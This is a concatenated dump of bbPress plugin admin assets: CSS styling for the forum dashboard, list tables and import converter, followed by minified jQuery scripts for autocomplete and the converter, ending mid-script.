	font: 400 20px/0.5 dashicons;
	speak: none;
	display: inline-block;
	padding: 0;
	top: 4px;
	left: -4px;
	position: relative;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
	color: #444;
}

/* Deprecated Dashboard Metabox */

#bbp-dashboard-right-now p.sub,
#bbp-dashboard-right-now .table,
#bbp-dashboard-right-now .versions {
	margin: -12px;
}

#bbp-dashboard-right-now .inside {
	font-size: 12px;
	padding-top: 20px;
	margin-bottom: 0;
}

#bbp-dashboard-right-now p.sub {
	padding: 5px 0 15px;
	color: #8f8f8f;
	font-size: 14px;
	position: absolute;
	top: -17px;
	left: 15px;
}

body.rtl #bbp-dashboard-right-now p.sub {
	right: 15px;
	left: 0;
}

#bbp-dashboard-right-now .table {
	margin: 0;
	padding: 0;
	position: relative;
}

#bbp-dashboard-right-now .table_content {
	float: left;
	border-top: #ececec 1px solid;
	width: 45%;
}

body.rtl #bbp-dashboard-right-now .table_content {
	float: right;
}

#bbp-dashboard-right-now .table_discussion {
	float: right;
	border-top: #ececec 1px solid;
	width: 45%;
}

body.rtl #bbp-dashboard-right-now .table_discussion {
	float: left;
}

#bbp-dashboard-right-now table td {
	padding: 3px 0;
	white-space: nowrap;
}

#bbp-dashboard-right-now table tr.first td {
	border-top: none;
}

#bbp-dashboard-right-now td.b {
	padding-right: 6px;
	text-align: right;
	font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
	font-size: 14px;
	width: 1%;
}

body.rtl #bbp-dashboard-right-now td.b {
	padding-left: 6px;
	padding-right: 0;
}

#bbp-dashboard-right-now td.b a {
	font-size: 18px;
}

#bbp-dashboard-right-now td.b a:hover {
	color: #d54e21;
}

#bbp-dashboard-right-now .t {
	font-size: 12px;
	padding-right: 12px;
	padding-top: 6px;
	color: #777;
}

body.rtl #bbp-dashboard-right-now .t {
	padding-left: 12px;
	padding-right: 0;
}

#bbp-dashboard-right-now .t a {
	white-space: nowrap;
}

#bbp-dashboard-right-now .spam {
	color: #f00;
}

#bbp-dashboard-right-now .waiting {
	color: #e66f00;
}

#bbp-dashboard-right-now .approved {
	color: #0f0;
}

#bbp-dashboard-right-now .versions {
	padding: 6px 10px 12px;
	clear: both;
}

#bbp-dashboard-right-now .versions .b {
	font-weight: 700;
}

#bbp-dashboard-right-now a.button {
	float: right;
	clear: right;
	position: relative;
	top: -5px;
}

body.rtl #bbp-dashboard-right-now a.button {
	float: left;
	clear: left;
}

/* List Tables */

body.post-type-forum #minor-publishing,
body.post-type-forum #save-post {
	display: none;
}

body.post-type-forum strong.label,
body.post-type-topic strong.label,
body.post-type-reply strong.label {
	display: inline-block;
	width: 60px;
}

.column-bbp_forum_topic_count,
.column-bbp_forum_reply_count,
.column-bbp_topic_reply_count,
.column-bbp_topic_voice_count {
	width: 8% !important;
}

.column-author,
.column-bbp_forum_mods,
.column-bbp_reply_author,
.column-bbp_topic_author {
	width: 10% !important;
}

.column-bbp_topic_forum,
.column-bbp_reply_forum,
.column-bbp_reply_topic {
	width: 10% !important;
}

.column-bbp_forum_freshness,
.column-bbp_topic_freshness {
	width: 10% !important;
}

.column-bbp_user_role,
.column-bbp_forum_created,
.column-bbp_topic_created,
.column-bbp_reply_created {
	width: 15% !important;
}

.column-bbp_topic_reply_author,
.column-bbp_forum_topic_author {
	width: 25% !important;
}

.column-bbp_topic_reply_author .avatar,
.column-bbp_forum_topic_author .avatar {
	float: left;
	margin-right: 10px;
}

#bbp_moderators {
	width: 100%;
}

#bbp_forum_attributes hr {
	border-style: solid;
	border-width: 1px;
	border-color: #ccc #fff #fff #ccc;
}

body.post-type-forum #the-list .status-closed,
body.post-type-topic #the-list .status-closed,
body.post-type-reply #the-list .status-closed {
	background-color: #f5f5f5;
}

body.post-type-forum #the-list .status-closed:nth-child(odd),
body.post-type-topic #the-list .status-closed:nth-child(odd),
body.post-type-reply #the-list .status-closed:nth-child(odd) {
	background-color: #f0f0f0;
}

body.post-type-forum #the-list .status-spam,
body.post-type-topic #the-list .status-spam,
body.post-type-reply #the-list .status-spam,
#bbp-reply-list .status-trash {
	background-color: #fee;
}

body.post-type-forum #the-list .status-spam:nth-child(odd),
body.post-type-topic #the-list .status-spam:nth-child(odd),
body.post-type-reply #the-list .status-spam:nth-child(odd),
#bbp-reply-list .status-trash:nth-child(odd) {
	background-color: #fdd;
}

body.post-type-forum #the-list .status-pending,
body.post-type-topic #the-list .status-pending,
body.post-type-reply #the-list .status-pending {
	background-color: #fff2e8;
}

body.post-type-forum #the-list .status-pending:nth-child(odd),
body.post-type-topic #the-list .status-pending:nth-child(odd),
body.post-type-reply #the-list .status-pending:nth-child(odd) {
	background-color: #fff7f1;
}

body.post-type-forum #the-list .status-closed td,
body.post-type-topic #the-list .status-closed td,
body.post-type-reply #the-list .status-closed td,
body.post-type-forum #the-list .status-spam td,
body.post-type-topic #the-list .status-spam td,
body.post-type-reply #the-list .status-spam td,
#bbp-reply-list .status-trash td {
	color: #999;
}

body.post-type-forum #the-list .row-actions .unspam a,
body.post-type-topic #the-list .row-actions .unspam a,
body.post-type-reply #the-list .row-actions .unspam a,
body.post-type-forum #the-list .row-actions .approved a,
body.post-type-topic #the-list .row-actions .approved a,
body.post-type-reply #the-list .row-actions .approved a {
	color: #006505;
}

/* User Relationships */

#bbp_topic_engagements_metabox .avatar,
#bbp_topic_favorites_metabox .avatar,
#bbp_topic_subscriptions_metabox .avatar {
	margin: 3px;
}

/* Converter */

.bbp-converter-settings-wrap {
	float: left;
	width: 55%;
}

#poststuff.bbp-converter-monitor-wrap {
	float: right;
	width: 43%;
	margin-left: 2%;
	min-width: 200px;
}

#bbp-converter-monitor h2 {
	position: relative;
}

#bbp-converter-monitor .inside {
	margin: 0;
	padding: 5px;
	border-bottom: 1px solid #e5e5e5;
}

#bbp-converter-monitor div.actions {
	padding: 10px;
	background: #fafafa;
	clear: both;
}

#bbp-converter-spinner {
	margin: 4px 0;
}

div.bbp-converter-log,
div.bbp-converter-warning {
	padding: 5px 0 5px 5px;
}

div.bbp-converter-log.started {
	height: 300px;
	overflow: auto;
}

div.bbp-converter-log p {
	margin: 0;
	padding: 2px;
}

div.bbp-converter-log p:only-child {
	float: none;
	margin-bottom: 0;
}

div.bbp-converter-log div {
	padding: 10px;
	margin: 5px;
	background: #f4f4f4;
	border: 1px solid #ddd;
}

div.bbp-converter-log div code {
	margin-top: 5px;
	display: block;
}

div.bbp-converter-log .step {
	text-align: right;
	font-weight: 600;
}

div.bbp-converter-log .output {
	margin: 0 5px;
}

div.bbp-converter-log .mini-step {
	padding: 3px 5px;
	vertical-align: middle;
	font-size: 8px;
	font-weight: 600;
	border-radius: 6px;
	background-color: #aaa;
	color: #fff;
}

#bbp-converter-monitor .bbp-progress-bar {
	position: absolute;
	left: 0;
	height: 1px;
	width: 0;
	background-color: #00b9eb;
	transition-property: width;
	transition-timing-function: ease-out;
	transition-duration: 1s;
}

#bbp-converter-monitor #bbp-converter-step-percentage {
	bottom: 1px;
}

#bbp-converter-monitor #bbp-converter-total-percentage {
	bottom: 0;
}

#bbp-converter-stop {
	display: none;
}

#bbp-converter-status {
	font-weight: 400;
	font-size: 12px;
	color: #aaa;
	display: block;
	margin-top: 2px;
}

.bbp-converter-db-password-wrapper {
	display: inline-block;
	position: relative;
}

.bbp-converter-db-pass::-webkit-credentials-auto-fill-button {
	display: none;
	visibility: hidden;
	pointer-events: none;
	position: absolute;
	right: 0;
}

button.bbp-db-pass-toggle {
	border: none;
	background: transparent;
	position: absolute;
	right: 3px;
	top: 3px;
	padding: 0;
	margin: 0;
	cursor: pointer;
	color: #aaa;
	height: 25px;
	width: 25px;
	font: 400 20px/1 dashicons !important;
}

button.bbp-db-pass-toggle:hover {
	color: #888;
}

button.bbp-db-pass-toggle.text::after {
	content: "\f530";
}

button.bbp-db-pass-toggle.password::after {
	content: "\f177";
}

@media screen and ( max-width: 782px ) {

	.bbp-converter-db-password-wrapper {
		width: 100%;
	}

	#poststuff.bbp-converter-monitor-wrap,
	.bbp-converter-settings-wrap {
		float: none;
		width: 100%;
		margin: 20px 0;
	}

	button.bbp-db-pass-toggle {
		height: 35px;
		width: 35px;
		font: 400 20px/1 dashicons !important;
	}
}

/* Tools */

td.bbp-tool-title strong {
	display: block;
}

td.bbp-tool-title p {
	margin: 0;
}

.manage-column.column-components {
	width: 20%;
}

.manage-column.column-version {
	width: 11%;
}

.manage-column.column-overhead {
	width: 13%;
}

.nav-tab-wrapper a span.awaiting-mod {
	display: inline-block;
	vertical-align: top;
	margin: 3px 0 0 1px;
	padding: 0 5px;
	min-width: 7px;
	height: 17px;
	border-radius: 11px;
	background-color: #ca4a1f;
	color: #fff;
	font-size: 9px;
	line-height: 17px;
	text-align: center;
	z-index: 26;
}

/* Retro TV corners for contributor avatars */
.dashboard_page_bbp-credits .wp-person img {
	border-radius: 20px;
}
includes/admin/assets/css/admin-rtl.min.css000066600000023320151771460310014730 0ustar00#poststuff #bbp_forum_attributes select#parent_id,#poststuff #bbp_reply_attributes select#bbp_forum_id,#poststuff #bbp_reply_attributes select#bbp_reply_to,#poststuff #bbp_topic_attributes select#parent_id{max-width:170px}.bbp-badge{transform-origin:top right;animation:swoop 16s infinite linear}.bbp-bee{font:400 80px/1 dashicons!important;color:#000;position:absolute;height:60px;width:60px}.bbp-hive{font:400 150px/1 dashicons!important;color:#ccc;position:absolute;height:150px;width:150px;top:0;left:0;display:block}.bbp-bee::before{content:"\f451"}.bbp-hive::before{content:"\f449"}.notice-bbpress{border-right:4px solid #78cd95;padding-right:36px;background-color:#ebffeb;position:relative}.notice-bbpress .bbpress-logo-icon{position:absolute;height:auto;width:auto;padding:7px 9px;top:50%;right:0;transform:translateY(-50%);font:400 24px/1 dashicons!important}.notice-bbpress .bbpress-logo-icon::before{content:"\f477";color:#555}@keyframes buzz{0%{left:-2px;top:-1px}25%{left:1px;top:2px}50%{left:-3px;top:-1px}75%{left:2px;top:1px}0%{left:-2px;top:-1px}}@keyframes swoop{0%{transform:rotate(-95deg)}100%{transform:rotate(-455deg)}}.about-wrap .bbp-badge{position:absolute;left:50px;top:50px;height:25px;width:25px}body.rtl .about-wrap .bbp-badge{left:auto;right:50px}#adminmenu #menu-posts-forum .wp-menu-image::before,#dashboard_right_now a.bbp-glance-forums::before,th .bbp_forums_column::before{content:"\f449"}#adminmenu #menu-posts-topic .wp-menu-image::before,#dashboard_right_now a.bbp-glance-topics::before,th .bbp_topics_column::before{content:"\f450"}#adminmenu #menu-posts-reply .wp-menu-image::before,#dashboard_right_now a.bbp-glance-replies::before,th .bbp_replies_column::before{content:"\f451"}#dashboard_right_now a.bbp-glance-topic-tags::before{content:"\f323"}#dashboard_right_now a.bbp-glance-users::before{content:"\f110"}th .bbp_forums_column,th .bbp_replies_column,th .bbp_topics_column{height:16px;width:16px}th .bbp_forums_column::before,th .bbp_replies_column::before,th .bbp_topics_column::before{font:400 20px/.5 dashicons;speak:none;display:inline-block;padding:0;top:4px;right:-4px;position:relative;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#444}#bbp-dashboard-right-now .table,#bbp-dashboard-right-now .versions,#bbp-dashboard-right-now p.sub{margin:-12px}#bbp-dashboard-right-now .inside{font-size:12px;padding-top:20px;margin-bottom:0}#bbp-dashboard-right-now p.sub{padding:5px 0 15px;color:#8f8f8f;font-size:14px;position:absolute;top:-17px;right:15px}body.rtl #bbp-dashboard-right-now p.sub{left:15px;right:0}#bbp-dashboard-right-now .table{margin:0;padding:0;position:relative}#bbp-dashboard-right-now .table_content{float:right;border-top:#ececec 1px solid;width:45%}body.rtl #bbp-dashboard-right-now .table_content{float:left}#bbp-dashboard-right-now .table_discussion{float:left;border-top:#ececec 1px solid;width:45%}body.rtl #bbp-dashboard-right-now .table_discussion{float:right}#bbp-dashboard-right-now table td{padding:3px 0;white-space:nowrap}#bbp-dashboard-right-now table tr.first td{border-top:none}#bbp-dashboard-right-now td.b{padding-left:6px;text-align:left;font-family:Georgia,"Times New Roman","Bitstream Charter",Times,serif;font-size:14px;width:1%}body.rtl #bbp-dashboard-right-now td.b{padding-right:6px;padding-left:0}#bbp-dashboard-right-now td.b a{font-size:18px}#bbp-dashboard-right-now td.b a:hover{color:#d54e21}#bbp-dashboard-right-now .t{font-size:12px;padding-left:12px;padding-top:6px;color:#777}body.rtl #bbp-dashboard-right-now .t{padding-right:12px;padding-left:0}#bbp-dashboard-right-now .t a{white-space:nowrap}#bbp-dashboard-right-now .spam{color:red}#bbp-dashboard-right-now .waiting{color:#e66f00}#bbp-dashboard-right-now .approved{color:#0f0}#bbp-dashboard-right-now .versions{padding:6px 10px 12px;clear:both}#bbp-dashboard-right-now .versions .b{font-weight:700}#bbp-dashboard-right-now a.button{float:left;clear:left;position:relative;top:-5px}body.rtl #bbp-dashboard-right-now a.button{float:right;clear:right}body.post-type-forum #minor-publishing,body.post-type-forum #save-post{display:none}body.post-type-forum strong.label,body.post-type-reply strong.label,body.post-type-topic strong.label{display:inline-block;width:60px}.column-bbp_forum_reply_count,.column-bbp_forum_topic_count,.column-bbp_topic_reply_count,.column-bbp_topic_voice_count{width:8%!important}.column-author,.column-bbp_forum_mods,.column-bbp_reply_author,.column-bbp_topic_author{width:10%!important}.column-bbp_reply_forum,.column-bbp_reply_topic,.column-bbp_topic_forum{width:10%!important}.column-bbp_forum_freshness,.column-bbp_topic_freshness{width:10%!important}.column-bbp_forum_created,.column-bbp_reply_created,.column-bbp_topic_created,.column-bbp_user_role{width:15%!important}.column-bbp_forum_topic_author,.column-bbp_topic_reply_author{width:25%!important}.column-bbp_forum_topic_author .avatar,.column-bbp_topic_reply_author .avatar{float:right;margin-left:10px}#bbp_moderators{width:100%}#bbp_forum_attributes hr{border-style:solid;border-width:1px;border-color:#ccc #ccc #fff #fff}body.post-type-forum #the-list .status-closed,body.post-type-reply #the-list .status-closed,body.post-type-topic #the-list .status-closed{background-color:#f5f5f5}body.post-type-forum #the-list .status-closed:nth-child(odd),body.post-type-reply #the-list .status-closed:nth-child(odd),body.post-type-topic #the-list .status-closed:nth-child(odd){background-color:#f0f0f0}#bbp-reply-list .status-trash,body.post-type-forum #the-list .status-spam,body.post-type-reply #the-list .status-spam,body.post-type-topic #the-list .status-spam{background-color:#fee}#bbp-reply-list .status-trash:nth-child(odd),body.post-type-forum #the-list .status-spam:nth-child(odd),body.post-type-reply #the-list .status-spam:nth-child(odd),body.post-type-topic #the-list .status-spam:nth-child(odd){background-color:#fdd}body.post-type-forum #the-list .status-pending,body.post-type-reply #the-list .status-pending,body.post-type-topic #the-list .status-pending{background-color:#fff2e8}body.post-type-forum #the-list .status-pending:nth-child(odd),body.post-type-reply #the-list .status-pending:nth-child(odd),body.post-type-topic #the-list .status-pending:nth-child(odd){background-color:#fff7f1}#bbp-reply-list .status-trash td,body.post-type-forum #the-list .status-closed td,body.post-type-forum #the-list .status-spam td,body.post-type-reply #the-list .status-closed td,body.post-type-reply #the-list .status-spam td,body.post-type-topic #the-list .status-closed td,body.post-type-topic #the-list .status-spam td{color:#999}body.post-type-forum #the-list .row-actions .approved a,body.post-type-forum #the-list .row-actions .unspam a,body.post-type-reply #the-list .row-actions .approved a,body.post-type-reply #the-list .row-actions .unspam a,body.post-type-topic #the-list .row-actions .approved a,body.post-type-topic #the-list .row-actions .unspam a{color:#006505}#bbp_topic_engagements_metabox .avatar,#bbp_topic_favorites_metabox .avatar,#bbp_topic_subscriptions_metabox .avatar{margin:3px}.bbp-converter-settings-wrap{float:right;width:55%}#poststuff.bbp-converter-monitor-wrap{float:left;width:43%;margin-right:2%;min-width:200px}#bbp-converter-monitor h2{position:relative}#bbp-converter-monitor .inside{margin:0;padding:5px;border-bottom:1px solid #e5e5e5}#bbp-converter-monitor div.actions{padding:10px;background:#fafafa;clear:both}#bbp-converter-spinner{margin:4px 0}div.bbp-converter-log,div.bbp-converter-warning{padding:5px 5px 5px 0}div.bbp-converter-log.started{height:300px;overflow:auto}div.bbp-converter-log p{margin:0;padding:2px}div.bbp-converter-log p:only-child{float:none;margin-bottom:0}div.bbp-converter-log div{padding:10px;margin:5px;background:#f4f4f4;border:1px solid #ddd}div.bbp-converter-log div code{margin-top:5px;display:block}div.bbp-converter-log .step{text-align:left;font-weight:600}div.bbp-converter-log .output{margin:0 5px}div.bbp-converter-log .mini-step{padding:3px 5px;vertical-align:middle;font-size:8px;font-weight:600;border-radius:6px;background-color:#aaa;color:#fff}#bbp-converter-monitor .bbp-progress-bar{position:absolute;right:0;height:1px;width:0;background-color:#00b9eb;transition-property:width;transition-timing-function:ease-out;transition-duration:1s}#bbp-converter-monitor #bbp-converter-step-percentage{bottom:1px}#bbp-converter-monitor #bbp-converter-total-percentage{bottom:0}#bbp-converter-stop{display:none}#bbp-converter-status{font-weight:400;font-size:12px;color:#aaa;display:block;margin-top:2px}.bbp-converter-db-password-wrapper{display:inline-block;position:relative}.bbp-converter-db-pass::-webkit-credentials-auto-fill-button{display:none;visibility:hidden;pointer-events:none;position:absolute;left:0}button.bbp-db-pass-toggle{border:none;background:0 0;position:absolute;left:3px;top:3px;padding:0;margin:0;cursor:pointer;color:#aaa;height:25px;width:25px;font:400 20px/1 dashicons!important}button.bbp-db-pass-toggle:hover{color:#888}button.bbp-db-pass-toggle.text::after{content:"\f530"}button.bbp-db-pass-toggle.password::after{content:"\f177"}@media screen and (max-width:782px){.bbp-converter-db-password-wrapper{width:100%}#poststuff.bbp-converter-monitor-wrap,.bbp-converter-settings-wrap{float:none;width:100%;margin:20px 0}button.bbp-db-pass-toggle{height:35px;width:35px;font:400 20px/1 dashicons!important}}td.bbp-tool-title strong{display:block}td.bbp-tool-title p{margin:0}.manage-column.column-components{width:20%}.manage-column.column-version{width:11%}.manage-column.column-overhead{width:13%}.nav-tab-wrapper a span.awaiting-mod{display:inline-block;vertical-align:top;margin:3px 1px 0 0;padding:0 5px;min-width:7px;height:17px;border-radius:11px;background-color:#ca4a1f;color:#fff;font-size:9px;line-height:17px;text-align:center;z-index:26}.dashboard_page_bbp-credits .wp-person img{border-radius:20px}includes/admin/assets/css/admin.min.css000066600000023323151771460310014134 0ustar00#poststuff #bbp_forum_attributes select#parent_id,#poststuff #bbp_reply_attributes select#bbp_forum_id,#poststuff #bbp_reply_attributes select#bbp_reply_to,#poststuff #bbp_topic_attributes select#parent_id{max-width:170px}.bbp-badge{transform-origin:top left;animation:swoop 16s infinite linear}.bbp-bee{font:400 80px/1 dashicons!important;color:#000;position:absolute;height:60px;width:60px}.bbp-hive{font:400 150px/1 dashicons!important;color:#ccc;position:absolute;height:150px;width:150px;top:0;right:0;display:block}.bbp-bee::before{content:"\f451"}.bbp-hive::before{content:"\f449"}.notice-bbpress{border-left:4px solid #78cd95;padding-left:36px;background-color:#ebffeb;position:relative}.notice-bbpress .bbpress-logo-icon{position:absolute;height:auto;width:auto;padding:7px 9px;top:50%;left:0;transform:translateY(-50%);font:400 24px/1 dashicons!important}.notice-bbpress .bbpress-logo-icon::before{content:"\f477";color:#555}@keyframes buzz{0%{right:-2px;top:-1px}25%{right:1px;top:2px}50%{right:-3px;top:-1px}75%{right:2px;top:1px}0%{right:-2px;top:-1px}}@keyframes swoop{0%{transform:rotate(95deg)}100%{transform:rotate(455deg)}}.about-wrap .bbp-badge{position:absolute;right:50px;top:50px;height:25px;width:25px}body.rtl .about-wrap .bbp-badge{right:auto;left:50px}#adminmenu #menu-posts-forum .wp-menu-image::before,#dashboard_right_now a.bbp-glance-forums::before,th .bbp_forums_column::before{content:"\f449"}#adminmenu #menu-posts-topic .wp-menu-image::before,#dashboard_right_now a.bbp-glance-topics::before,th .bbp_topics_column::before{content:"\f450"}#adminmenu #menu-posts-reply .wp-menu-image::before,#dashboard_right_now a.bbp-glance-replies::before,th .bbp_replies_column::before{content:"\f451"}#dashboard_right_now a.bbp-glance-topic-tags::before{content:"\f323"}#dashboard_right_now a.bbp-glance-users::before{content:"\f110"}th .bbp_forums_column,th .bbp_replies_column,th .bbp_topics_column{height:16px;width:16px}th .bbp_forums_column::before,th .bbp_replies_column::before,th .bbp_topics_column::before{font:400 20px/.5 dashicons;speak:none;display:inline-block;padding:0;top:4px;left:-4px;position:relative;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#444}#bbp-dashboard-right-now .table,#bbp-dashboard-right-now .versions,#bbp-dashboard-right-now p.sub{margin:-12px}#bbp-dashboard-right-now .inside{font-size:12px;padding-top:20px;margin-bottom:0}#bbp-dashboard-right-now p.sub{padding:5px 0 15px;color:#8f8f8f;font-size:14px;position:absolute;top:-17px;left:15px}body.rtl #bbp-dashboard-right-now p.sub{right:15px;left:0}#bbp-dashboard-right-now .table{margin:0;padding:0;position:relative}#bbp-dashboard-right-now .table_content{float:left;border-top:#ececec 1px solid;width:45%}body.rtl #bbp-dashboard-right-now .table_content{float:right}#bbp-dashboard-right-now .table_discussion{float:right;border-top:#ececec 1px solid;width:45%}body.rtl #bbp-dashboard-right-now .table_discussion{float:left}#bbp-dashboard-right-now table td{padding:3px 0;white-space:nowrap}#bbp-dashboard-right-now table tr.first td{border-top:none}#bbp-dashboard-right-now td.b{padding-right:6px;text-align:right;font-family:Georgia,"Times New Roman","Bitstream Charter",Times,serif;font-size:14px;width:1%}body.rtl #bbp-dashboard-right-now td.b{padding-left:6px;padding-right:0}#bbp-dashboard-right-now td.b a{font-size:18px}#bbp-dashboard-right-now td.b a:hover{color:#d54e21}#bbp-dashboard-right-now .t{font-size:12px;padding-right:12px;padding-top:6px;color:#777}body.rtl #bbp-dashboard-right-now .t{padding-left:12px;padding-right:0}#bbp-dashboard-right-now .t a{white-space:nowrap}#bbp-dashboard-right-now .spam{color:red}#bbp-dashboard-right-now .waiting{color:#e66f00}#bbp-dashboard-right-now .approved{color:#0f0}#bbp-dashboard-right-now .versions{padding:6px 10px 12px;clear:both}#bbp-dashboard-right-now .versions .b{font-weight:700}#bbp-dashboard-right-now a.button{float:right;clear:right;position:relative;top:-5px}body.rtl #bbp-dashboard-right-now a.button{float:left;clear:left}body.post-type-forum #minor-publishing,body.post-type-forum #save-post{display:none}body.post-type-forum strong.label,body.post-type-reply strong.label,body.post-type-topic strong.label{display:inline-block;width:60px}.column-bbp_forum_reply_count,.column-bbp_forum_topic_count,.column-bbp_topic_reply_count,.column-bbp_topic_voice_count{width:8%!important}.column-author,.column-bbp_forum_mods,.column-bbp_reply_author,.column-bbp_topic_author{width:10%!important}.column-bbp_reply_forum,.column-bbp_reply_topic,.column-bbp_topic_forum{width:10%!important}.column-bbp_forum_freshness,.column-bbp_topic_freshness{width:10%!important}.column-bbp_forum_created,.column-bbp_reply_created,.column-bbp_topic_created,.column-bbp_user_role{width:15%!important}.column-bbp_forum_topic_author,.column-bbp_topic_reply_author{width:25%!important}.column-bbp_forum_topic_author .avatar,.column-bbp_topic_reply_author .avatar{float:left;margin-right:10px}#bbp_moderators{width:100%}#bbp_forum_attributes hr{border-style:solid;border-width:1px;border-color:#ccc #fff #fff #ccc}body.post-type-forum #the-list .status-closed,body.post-type-reply #the-list .status-closed,body.post-type-topic #the-list .status-closed{background-color:#f5f5f5}body.post-type-forum #the-list .status-closed:nth-child(odd),body.post-type-reply #the-list .status-closed:nth-child(odd),body.post-type-topic #the-list .status-closed:nth-child(odd){background-color:#f0f0f0}#bbp-reply-list .status-trash,body.post-type-forum #the-list .status-spam,body.post-type-reply #the-list .status-spam,body.post-type-topic #the-list .status-spam{background-color:#fee}#bbp-reply-list .status-trash:nth-child(odd),body.post-type-forum #the-list .status-spam:nth-child(odd),body.post-type-reply #the-list .status-spam:nth-child(odd),body.post-type-topic #the-list .status-spam:nth-child(odd){background-color:#fdd}body.post-type-forum #the-list .status-pending,body.post-type-reply #the-list .status-pending,body.post-type-topic #the-list .status-pending{background-color:#fff2e8}body.post-type-forum #the-list .status-pending:nth-child(odd),body.post-type-reply #the-list .status-pending:nth-child(odd),body.post-type-topic #the-list .status-pending:nth-child(odd){background-color:#fff7f1}#bbp-reply-list .status-trash td,body.post-type-forum #the-list .status-closed td,body.post-type-forum #the-list .status-spam td,body.post-type-reply #the-list .status-closed td,body.post-type-reply #the-list .status-spam td,body.post-type-topic #the-list .status-closed td,body.post-type-topic #the-list .status-spam td{color:#999}body.post-type-forum #the-list .row-actions .approved a,body.post-type-forum #the-list .row-actions .unspam a,body.post-type-reply #the-list .row-actions .approved a,body.post-type-reply #the-list .row-actions .unspam a,body.post-type-topic #the-list .row-actions .approved a,body.post-type-topic #the-list .row-actions .unspam a{color:#006505}#bbp_topic_engagements_metabox .avatar,#bbp_topic_favorites_metabox .avatar,#bbp_topic_subscriptions_metabox .avatar{margin:3px}.bbp-converter-settings-wrap{float:left;width:55%}#poststuff.bbp-converter-monitor-wrap{float:right;width:43%;margin-left:2%;min-width:200px}#bbp-converter-monitor h2{position:relative}#bbp-converter-monitor .inside{margin:0;padding:5px;border-bottom:1px solid #e5e5e5}#bbp-converter-monitor div.actions{padding:10px;background:#fafafa;clear:both}#bbp-converter-spinner{margin:4px 0}div.bbp-converter-log,div.bbp-converter-warning{padding:5px 0 5px 5px}div.bbp-converter-log.started{height:300px;overflow:auto}div.bbp-converter-log p{margin:0;padding:2px}div.bbp-converter-log p:only-child{float:none;margin-bottom:0}div.bbp-converter-log div{padding:10px;margin:5px;background:#f4f4f4;border:1px solid #ddd}div.bbp-converter-log div code{margin-top:5px;display:block}div.bbp-converter-log .step{text-align:right;font-weight:600}div.bbp-converter-log .output{margin:0 5px}div.bbp-converter-log .mini-step{padding:3px 5px;vertical-align:middle;font-size:8px;font-weight:600;border-radius:6px;background-color:#aaa;color:#fff}#bbp-converter-monitor .bbp-progress-bar{position:absolute;left:0;height:1px;width:0;background-color:#00b9eb;transition-property:width;transition-timing-function:ease-out;transition-duration:1s}#bbp-converter-monitor #bbp-converter-step-percentage{bottom:1px}#bbp-converter-monitor #bbp-converter-total-percentage{bottom:0}#bbp-converter-stop{display:none}#bbp-converter-status{font-weight:400;font-size:12px;color:#aaa;display:block;margin-top:2px}.bbp-converter-db-password-wrapper{display:inline-block;position:relative}.bbp-converter-db-pass::-webkit-credentials-auto-fill-button{display:none;visibility:hidden;pointer-events:none;position:absolute;right:0}button.bbp-db-pass-toggle{border:none;background:0 0;position:absolute;right:3px;top:3px;padding:0;margin:0;cursor:pointer;color:#aaa;height:25px;width:25px;font:400 20px/1 dashicons!important}button.bbp-db-pass-toggle:hover{color:#888}button.bbp-db-pass-toggle.text::after{content:"\f530"}button.bbp-db-pass-toggle.password::after{content:"\f177"}@media screen and (max-width:782px){.bbp-converter-db-password-wrapper{width:100%}#poststuff.bbp-converter-monitor-wrap,.bbp-converter-settings-wrap{float:none;width:100%;margin:20px 0}button.bbp-db-pass-toggle{height:35px;width:35px;font:400 20px/1 dashicons!important}}td.bbp-tool-title strong{display:block}td.bbp-tool-title p{margin:0}.manage-column.column-components{width:20%}.manage-column.column-version{width:11%}.manage-column.column-overhead{width:13%}.nav-tab-wrapper a span.awaiting-mod{display:inline-block;vertical-align:top;margin:3px 0 0 1px;padding:0 5px;min-width:7px;height:17px;border-radius:11px;background-color:#ca4a1f;color:#fff;font-size:9px;line-height:17px;text-align:center;z-index:26}.dashboard_page_bbp-credits .wp-person img{border-radius:20px}includes/admin/assets/js/common.min.js000066600000000344151771460310014002 0ustar00/*! This file is automatically generated. */

jQuery(document).ready(function(){var a=jQuery("#bbp_author_id");a.suggest(a.data("ajax-url"),{minchars:1,onSelect:function(){var u=this.value;a.val(u.substr(0,u.indexOf(" ")))}})});includes/admin/assets/js/replies.min.js000066600000000506151771460310014155 0ustar00/*! This file is automatically generated. */

jQuery(document).ready(function(){jQuery("#misc-publishing-actions").find(".misc-pub-section").first().remove(),jQuery("#save-action").remove();var e=jQuery("#bbp_topic_id");e.suggest(e.data("ajax-url"),{onSelect:function(){var i=this.value;e.val(i.substr(0,i.indexOf(" ")))}})});includes/admin/assets/js/converter.min.js000066600000006143151771460310014524 0ustar00/*! This file is automatically generated. */

jQuery(document).ready(function(t){"use strict";function e(){i()}function r(){c(BBP_Converter.strings.button_continue,BBP_Converter.strings.import_stopped_user)}function n(){var e={};return t.each(d.serializeArray(),function(t,r){e[r.name]=r.value}),e._bbp_converter_restart&&g.removeAttr("checked"),e._bbp_converter_delay_time&&(BBP_Converter.state.delay=1e3*parseInt(e._bbp_converter_delay_time,10)),e.action="bbp_converter_process",e._ajax_nonce=BBP_Converter.ajax_nonce,e}function s(){t.post(ajaxurl,n(),function(t){try{var e=t.data;!0===t.success?o(e):c()}catch(t){c()}},"json")}function o(t){BBP_Converter.state.running&&(p(t.progress),B(t.step_percent,t.total_percent),u(t),a(),t.current_step===t.final_step&&c(BBP_Converter.strings.button_start,BBP_Converter.strings.import_complete))}function a(){clearTimeout(BBP_Converter.state.running),BBP_Converter.state.running&&(BBP_Converter.state.running=setTimeout(function(){s()},parseInt(BBP_Converter.state.delay,10)))}function i(){clearTimeout(BBP_Converter.state.running),clearInterval(BBP_Converter.state.status),BBP_Converter.state.running=!0;var t=BBP_Converter.strings.start_continue;!1===BBP_Converter.state.started&&(t=BBP_Converter.strings.start_start,BBP_Converter.state.started=!0),_(BBP_Converter.strings.button_continue,t,BBP_Converter.strings.status_starting),v.addClass("started"),b.hide(),l.show(),console.log(h),P.css("visibility","visible"),h.prop("readonly",!0),s()}function 